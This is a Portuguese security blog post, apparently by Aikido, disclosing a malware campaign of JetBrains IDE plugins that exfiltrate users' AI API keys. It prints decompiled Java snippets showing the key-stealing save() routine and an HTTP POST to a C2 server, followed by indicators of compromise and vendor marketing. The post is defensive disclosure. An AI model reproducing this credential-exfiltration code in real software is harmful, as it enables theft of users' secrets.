Aikido

Vários plugins para IDEs da JetBrains foram apanhados a roubar chaves de IA

Escrito por
Ilyas Makari

Detetámos uma campanha coordenada de malware no JetBrains Marketplace. Pelo menos 15 plug-ins de IDE, publicados através de sete contas de fornecedores, partilham o mesmo comportamento oculto. Cada um deles extrai a chave da API do fornecedor de IA que o utilizador guardou nas suas definições e, no total, foram instalados cerca de 70 000 vezes.

Cada plugin apresenta-se como um assistente de programação baseado em IA, desenvolvido com o DeepSeek e outros modelos de linguagem de grande escala, oferecendo funcionalidades de chat, mensagens de commit, revisão de código, deteção de erros e testes unitários. Funcionam exatamente como anunciado. No entanto, a chave API do fornecedor de IA que introduz é exfiltrada para um servidor controlado pelo atacante.

As primeiras versões surgiram no final de outubro de 2025 e continuam a ser lançadas novas versões em junho de 2026. É difícil avaliar o impacto real, uma vez que os números de downloads podem ser facilmente inflacionados pelos fornecedores e que as fichas dos produtos nas lojas online também contêm avaliações falsas de cinco estrelas.

Os plugins afetados estão listados no final do artigo.

Como funciona o roubo

Todos os quinze plugins partilham uma base de código semelhante, que foi renomeada e reempacotada para cada listagem. Para utilizar qualquer um deles, basta abrir o painel de configurações e colar uma chave API de um fornecedor como a OpenAI, a SiliconFlow ou a DeepSeek. O plugin precisa dessa chave para aceder ao modelo em seu nome, pelo que fornecê-la é um procedimento rotineiro.

Assim que clicar em «Aplicar», o gestor de definições armazena a sua chave e também a encaminha para o atacante utilizando o save() método. A chamada é executada imediatamente após a introdução da tecla, sem qualquer aviso, sem ecrã de consentimento e sem qualquer menção em qualquer parte da interface do utilizador.

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);          // your provider secret
        BaseUtil.request("key", dto); // shipped off to the attacker server
    }
}


// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKey

O destino é um servidor predefinido em 39.107.60[.]51 acessado através de HTTP simples, autenticado com um token estático codificado no plugin. A sua chave é enviada em texto simples para um endereço que não tem qualquer relação com nenhum fornecedor legítimo de IA.

Os plugins também dispõem de um plano pago. Depois de um utilizador pagar uma pequena taxa através da funcionalidade de doação integrada no plugin, o servidor envia uma chave API de volta ao cliente, e o plugin começa a utilizar essa chave nas suas chamadas ao modelo, em vez da sua própria, o que é estranho, uma vez que nenhum operador legítimo entregaria simplesmente a um utilizador uma chave funcional e sem restrições de um fornecedor de IA pago.

WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
    key = data.getApiKey();  // a key handed back by the attacker server
}


// the plugin always prefers the server supplied key
public static String getKey() {
    return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}

Uma teoria possível é que um grupo de vítimas cole as suas próprias chaves, que o servidor recolhe. Um segundo grupo paga ao operador e recebe, em troca, uma chave válida. As chaves entregues aos utilizadores pagantes podem muito bem ser as chaves roubadas a todos os outros, transformando a campanha num serviço que revende o acesso à API roubado a outras pessoas. O operador arrecada dinheiro, por um lado, e credenciais gratuitas, por outro, enquanto os verdadeiros proprietários das chaves pagam a conta.

Por que razão os atacantes continuam a ter como alvo os IDEs

Os ecossistemas de plugins de editores tornaram-se um alvo frequente de ataques à Supply chain, com campanhas em curso, como a GlassWorm, a atingir o VS Code. Os computadores dos programadores são um alvo de elevado valor, e o IDE está no centro disso tudo. Este contém código-fonte, credenciais da nuvem, chaves de assinatura e, agora, as chaves de API para serviços de IA pagos que podem ser revendidas ou utilizadas para recursos de computação. Um plugin é executado sem estar isolado numa sandbox dentro do IDE, numa ferramenta em que as pessoas confiam e que deixam aberta o dia todo, o que o torna um esconderijo ideal para código que só se comporta de forma anómala em segundo plano. 

Os plugins da JetBrains são submetidos a um processo de revisão manual antes de chegarem à loja, mas mesmo assim pode passar despercebida uma pequena parte de código oculta num plugin que, de resto, funciona corretamente. Trate um plugin da mesma forma que trataria qualquer dependência que seja executada com os seus privilégios e tenha cuidado ao inserir secrets de longa duração secrets ferramentas que ainda não tenha verificado.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de Comprometimento

Indicadores de rede

  • IP do servidor C2: 39.107.60[.]51

Plugins afetados (nome e ID do plugin)

  • Teste Junit do DeepSeek (org.sm.yms.toolkit) – 1 121 downloads, lançado em 31 de outubro de 2025
  • DeepSeek Git Commit (com.json.simple.kit) – 1 894 downloads, lançado em 01-11-2025
  • DeepSeek FindBugs (org.bug.find.tools) – 1 485 downloads, lançado em 09/11/2025
  • DeepSeek AI Chat (org.translate.ai.simple) – 1 317 downloads, lançado em 23 de novembro de 2025
  • DeepSeek Dev AI (com.yy.test.ai.simple) – 740 downloads, lançado em 30 de novembro de 2025
  • Programação com IA DeepSeek (com.dev.ai.toolkit) – 450 downloads, lançado em 06/12/2025
  • AI FindBugs (com.json.view.simple) – 623 transferências, lançado em 14 de dezembro de 2025
  • AI Git Committer (com.my.git.ai.kit) – 301 downloads, lançado em 10 de janeiro de 2026
  • Análise do AI Coder (org.check.ai.ds) – 735 downloads, lançado em 11 de janeiro de 2026
  • DeepSeek Coder IA (com.review.tool.code) – 3 498 downloads, lançado em 15 de janeiro de 2026
  • Assistente de Programação com IA (org.code.assist.dev.tool) – 319 downloads, lançado em 01/02/2026
  • Revisão de código do DeepSeek (com.coder.ai.dpt) – 278 downloads, lançado em 18 de abril de 2026
  • Assistente de IA CodeGPT (com.my.code.tools) – 25 571 downloads, lançado em 9 de junho de 2026
  • DeepSeek AI Assist (ord.cp.code.ai.kit) – 27 727 downloads, lançado em 10 de junho de 2026
  • Ferramenta simples de programação (com.dp.git.ai.tool) – 3 931 downloads, sem versões online

Contas de fornecedores

  • CodePilot (mycode)
  • StackSmith (misshewei)
  • CodeCrafter (keteme)
  • CodeWeaver (simpledev)
  • JetCode (azul-celeste)
  • DailyCode (dialycode)
  • ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)
Compartilhar:

https://www.aikido.dev/blog/multiple-jetbrains-ide-plugins-caught-stealing-ai-keys

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.